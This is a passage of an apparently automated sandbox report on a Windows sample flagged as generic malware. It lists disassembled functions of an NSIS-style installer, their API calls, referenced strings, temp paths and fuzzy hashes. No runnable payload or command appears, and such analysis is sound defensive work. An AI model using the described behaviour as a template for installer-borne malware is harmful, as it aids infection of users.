lstrcatW.KERNEL32(?,0040A014,?,00424F10,?,?,76343420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe"), ref: 00405CC1
lstrlenW.KERNEL32(?,?,0040A014,?,00424F10,?,?,76343420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe"), ref: 00405CC7
FindFirstFileW.KERNEL32(00424F10,?,?,?,0040A014,?,00424F10,?,?,76343420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe"), ref: 00405CD7
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405D77
FindClose.KERNEL32(00000000), ref: 00405D86

Strings

\*.*, xrefs: 00405C98
"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe", xrefs: 00405C36
C:\Users\user\AppData\Local\Temp\, xrefs: 00405C3A

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1373261282
Opcode ID: 9251ba415d381c0528a68256adb7b13e134a55f337ff098e8b7b00a93e79b23f
Instruction ID: aec485693c4c1533f42b9347a66a6bbcb57ea8568fe9c979ecac7928daa7b7f5
Opcode Fuzzy Hash: 9251ba415d381c0528a68256adb7b13e134a55f337ff098e8b7b00a93e79b23f
Instruction Fuzzy Hash: 8741D230801A14BADB31BB659D4DAAF7678EF41718F14813FF801B11D5D77C8A829EAE

Function 00401774 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\polaritets,?,?,00000031), ref: 004017B5
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\polaritets,?,?,00000031), ref: 004017DA

Part of subcall function 00406521: lstrcpynW.KERNEL32(?,?,00000400,0040366E,00428A20,NSIS Error,?,00000008,0000000A,0000000C), ref: 0040652E

Part of subcall function 004055A6: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll,00000000,00418EC0,00000000,?,?,?,?,?,?,?,?,?,004033F2,00000000,?), ref: 004055DE
Part of subcall function 004055A6: lstrlenW.KERNEL32(004033F2,Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll,00000000,00418EC0,00000000,?,?,?,?,?,?,?,?,?,004033F2,00000000), ref: 004055EE
Part of subcall function 004055A6: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll,004033F2,004033F2,Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll,00000000,00418EC0,00000000), ref: 00405601
Part of subcall function 004055A6: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll), ref: 00405613
Part of subcall function 004055A6: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405639
Part of subcall function 004055A6: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405653
Part of subcall function 004055A6: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405661

Strings

Call, xrefs: 00401792, 0040179B, 004017BA, 004017C6, 004017FC, 00401812, 00401830, 0040186C, 004018ED, 004018F6, 00401900, 0040190B
C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll, xrefs: 0040183A, 00401856
C:\Users\user\AppData\Local\Temp\nst8185.tmp, xrefs: 00401826, 00401844
C:\Users\user\polaritets, xrefs: 004017A3

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nst8185.tmp$C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll$C:\Users\user\polaritets$Call
API String ID: 1941528284-2501724552
Opcode ID: 8735ad9560c18e5a7f29f6a8244760e17f86ea249fb7e5f19f194b0f67ebe764
Instruction ID: 1777f765e23ed303a4c4324df0f40fc052c607b9e3f25272d24a03cacca2a4dc
Opcode Fuzzy Hash: 8735ad9560c18e5a7f29f6a8244760e17f86ea249fb7e5f19f194b0f67ebe764
Instruction Fuzzy Hash: 9E41A531900509BACF117BA9DD86DAF3AB5EF45328B20423FF512B10E1DB3C8A52966D

Function 0040687E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00425F58,C:\Users\user\AppData\Local\Temp\nst8185.tmp,00405F41,C:\Users\user\AppData\Local\Temp\nst8185.tmp,C:\Users\user\AppData\Local\Temp\nst8185.tmp,00000000,C:\Users\user\AppData\Local\Temp\nst8185.tmp,C:\Users\user\AppData\Local\Temp\nst8185.tmp, 44v,?,C:\Users\user\AppData\Local\Temp\,00405C4D,?,76343420,C:\Users\user\AppData\Local\Temp\), ref: 00406889
FindClose.KERNEL32(00000000), ref: 00406895

Strings

C:\Users\user\AppData\Local\Temp\nst8185.tmp, xrefs: 0040687E
X_B, xrefs: 0040687F

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\Users\user\AppData\Local\Temp\nst8185.tmp$X_B
API String ID: 2295610775-1899747280
Opcode ID: 368a1c0a689282c2aa5195ddf357efb180b92b440bed087baa82a07527058284
Instruction ID: 6d56574ea64d1328abe48e6f64e5cab5a12c2004fb3b9259b4ed260009733db8
Opcode Fuzzy Hash: 368a1c0a689282c2aa5195ddf357efb180b92b440bed087baa82a07527058284
Instruction Fuzzy Hash: AFD0123250A5205BC6406B386E0C84B7A58AF553717268A36F5AAF21E0CB788C6696AC

Function 00406C3F Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8964584eaf82ae0cb152a3b9d71f3809ce5605a589357672a1976e67bd0135b4
Instruction ID: 98dfc50ccd9688b87079ede1b44bfc78bfb7a95d74622a08e623e0ee65e5f8c5
Opcode Fuzzy Hash: 8964584eaf82ae0cb152a3b9d71f3809ce5605a589357672a1976e67bd0135b4
Instruction Fuzzy Hash: B2F17870D04229CBDF28CFA8C8946ADBBB0FF44305F25816ED456BB281D7786A86CF45

Function 00403FA1 Relevance: 51.4, APIs: 34, Instructions: 357
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403FDD
ShowWindow.USER32(?), ref: 00403FFD
GetWindowLongW.USER32(?,000000F0), ref: 0040400F
ShowWindow.USER32(?,00000004), ref: 00404028
DestroyWindow.USER32 ref: 0040403C
SetWindowLongW.USER32(?,00000000,00000000), ref: 00404055
GetDlgItem.USER32(?,?), ref: 00404074
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00404088
IsWindowEnabled.USER32(00000000), ref: 0040408F
GetDlgItem.USER32(?,?), ref: 0040413A
GetDlgItem.USER32(?,00000002), ref: 00404144
SetClassLongW.USER32(?,000000F2,?), ref: 0040415E
SendMessageW.USER32(0000040F,00000000,?,?), ref: 004041AF
GetDlgItem.USER32(?,00000003), ref: 00404255
ShowWindow.USER32(00000000,?), ref: 00404276
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404288
EnableWindow.USER32(?,?), ref: 004042A3
GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 004042B9
EnableMenuItem.USER32(00000000), ref: 004042C0
SendMessageW.USER32(?,000000F4,00000000,?), ref: 004042D8
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004042EB
lstrlenW.KERNEL32(00422F08,?,00422F08,00000000), ref: 00404315
SetWindowTextW.USER32(?,00422F08), ref: 00404329
ShowWindow.USER32(?,0000000A), ref: 0040445D

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: Window$Item$MessageSendShow$Long$EnableMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 121052019-0
Opcode ID: f0b43cd8e7f2e41f431c118fff2888e9d111a3339ebed408ace792690fb64996
Instruction ID: 6cd4652e30ec862c23bd12a6162173760bab2c1fa5186c41ecc3a298f9dddab8
Opcode Fuzzy Hash: f0b43cd8e7f2e41f431c118fff2888e9d111a3339ebed408ace792690fb64996
Instruction Fuzzy Hash: 7FC1C0B1600204ABDB216F21EE49E2B3A69FB94709F41053EF751B51F0CB795882DB2E

Function 00403BF3 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406915: GetModuleHandleA.KERNEL32(?,00000020,?,0040360C,0000000C,?,?,?,?,?,?,?,?), ref: 00406927
Part of subcall function 00406915: GetProcAddress.KERNEL32(00000000,?), ref: 00406942

lstrcatW.KERNEL32(1033,00422F08,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422F08,00000000,00000002,76343420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe",00008001), ref: 00403C74
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\polaritets,1033,00422F08,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422F08,00000000,00000002,76343420), ref: 00403CF4
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\polaritets,1033,00422F08,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422F08,00000000), ref: 00403D07
GetFileAttributesW.KERNEL32(Call), ref: 00403D12
LoadImageW.USER32(00000067,?,00000000,00000000,00008040,C:\Users\user\polaritets), ref: 00403D5B

Part of subcall function 00406468: wsprintfW.USER32 ref: 00406475

RegisterClassW.USER32(004289C0), ref: 00403D98
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403DB0
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403DE5
ShowWindow.USER32(00000005,00000000), ref: 00403E1B
GetClassInfoW.USER32(00000000,RichEdit20W,004289C0), ref: 00403E47
GetClassInfoW.USER32(00000000,RichEdit,004289C0), ref: 00403E54
RegisterClassW.USER32(004289C0), ref: 00403E5D
DialogBoxParamW.USER32(?,00000000,00403FA1,00000000), ref: 00403E7C

Strings

RichEd32, xrefs: 00403E2F
RichEdit20W, xrefs: 00403E3F, 00403E45
C:\Users\user\polaritets, xrefs: 00403C83, 00403C8B, 00403D2E, 00403D34, 00403D44
"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe", xrefs: 00403BF6
C:\Users\user\AppData\Local\Temp\, xrefs: 00403BF8
RichEdit, xrefs: 00403E4E
.DEFAULT\Control Panel\International, xrefs: 00403C5F
Control Panel\Desktop\ResourceLocale, xrefs: 00403C27
RichEd20, xrefs: 00403E21
_Nb, xrefs: 00403D77, 00403DDF
Call, xrefs: 00403CBB, 00403CC4, 00403CD2, 00403D21, 00403D27
1033, xrefs: 00403C13, 00403C6F
.exe, xrefs: 00403D01

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\polaritets$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-3367792876
Opcode ID: 0ef04955f1a6976a10593322067df9edaff6e7f7a832361b73f8beed2d85b6c9
Instruction ID: 6a74b9b34ded998ebd2751605f77428bf44f11e359ee0ac59d58ca77ea789e65
Opcode Fuzzy Hash: 0ef04955f1a6976a10593322067df9edaff6e7f7a832361b73f8beed2d85b6c9
Instruction Fuzzy Hash: 2C61B770200740BAD620AF669D46F2B3A7CEB84B45F81453FF941B61E2CB7D5942CB6D

Function 00403082 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403093
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe,00000400), ref: 004030AF

Part of subcall function 00406011: GetFileAttributesW.KERNELBASE(00000003,004030C2,C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe,80000000,00000003), ref: 00406015
Part of subcall function 00406011: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00406037

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe,C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe,80000000,00000003), ref: 004030FB
GlobalAlloc.KERNELBASE(00000040,?), ref: 00403231

Strings

Error launching installer, xrefs: 004030D2
soft, xrefs: 00403170
Inst, xrefs: 00403167
C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, xrefs: 00403099, 004030A8, 004030BC, 004030DC
Null, xrefs: 00403179
"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe", xrefs: 00403088
C:\Users\user\AppData\Local\Temp\, xrefs: 00403089
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403258
C:\Users\user\Desktop, xrefs: 004030DD, 004030E2, 004030E8

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-238327923
Opcode ID: f6f149303cde104692999693530b98443d3dd0b2c967e283c98aa5a581eac7be
Instruction ID: 0271efb430f2efbe2fca7880162b12dddab7439e54d706f300c55aed9b32fb97
Opcode Fuzzy Hash: f6f149303cde104692999693530b98443d3dd0b2c967e283c98aa5a581eac7be
Instruction Fuzzy Hash: 7B51C071A01304ABDB209F65DD85B9E7FACAB09316F10407BF904B62D1D7789E818B5D

Function 0040655E Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 204
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 00406680
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll,?,?,00000000,00000000,00418EC0,00000000), ref: 00406696
SHGetPathFromIDListW.SHELL32(00000000,Call), ref: 004066F4
CoTaskMemFree.OLE32(00000000,?,00000000,00000007), ref: 004066FD
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll,?,?,00000000,00000000,00418EC0,00000000), ref: 00406728
lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll,?,?,00000000,00000000,00418EC0,00000000), ref: 00406782

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406651
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406722
Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll, xrefs: 00406582
Call, xrefs: 0040658B, 00406645, 0040664C, 00406650, 00406669, 0040666A, 0040667F, 00406695, 004066C6, 004066F2, 00406727, 0040672D, 0040674A, 0040675D, 0040677B, 00406781, 0040678A, 004067BF

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: Directory$FreeFromListPathSystemTaskWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4024019347-1547937423
Opcode ID: 14c9f03641932d7153c154bb414b77852189b75d1473d82c894b9adbe9647435
Instruction ID: c1bee3e663878f3afad94de22ef935420ccf361ce06c76a1d76179cfc985cdfa
Opcode Fuzzy Hash: 14c9f03641932d7153c154bb414b77852189b75d1473d82c894b9adbe9647435
Instruction Fuzzy Hash: 266146B1A043019BDB205F28DD80B6B77E4AF84318F65053FF646B32D1DA7D89A18B5E

Function 004055A6 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll,00000000,00418EC0,00000000,?,?,?,?,?,?,?,?,?,004033F2,00000000,?), ref: 004055DE
lstrlenW.KERNEL32(004033F2,Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll,00000000,00418EC0,00000000,?,?,?,?,?,?,?,?,?,004033F2,00000000), ref: 004055EE
lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll,004033F2,004033F2,Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll,00000000,00418EC0,00000000), ref: 00405601
SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll), ref: 00405613
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405639
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405653
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405661

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll, xrefs: 004055C7, 004055D7, 004055DD, 00405600, 0040560C

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll
API String ID: 2531174081-1132853986
Opcode ID: a9fafcf7327b9621bb894f8e2d9ac48d1397335c234e36f420f2517ccdad5277
Instruction ID: deb6953f75989b306d4e6df0e2073f5bc52164b7b2c012b705af3b177d86a23e
Opcode Fuzzy Hash: a9fafcf7327b9621bb894f8e2d9ac48d1397335c234e36f420f2517ccdad5277
Instruction Fuzzy Hash: 8F21B375900158BACB119FA5DD84ECFBF75EF45364F50803AF944B22A0C77A4A51CF68

Function 004026F1 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 0040275D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,?), ref: 00402798
SetFilePointer.KERNELBASE(?,?,?,?,?,00000008,?,?,?,?), ref: 004027BB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,?,?,?,?,00000008,?,?,?,?), ref: 004027D1

Part of subcall function 004060F2: SetFilePointer.KERNEL32(?,00000000,00000000,?), ref: 00406108

SetFilePointer.KERNEL32(?,?,?,?,?,?,00000002), ref: 0040287D

Strings

9, xrefs: 00402740

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
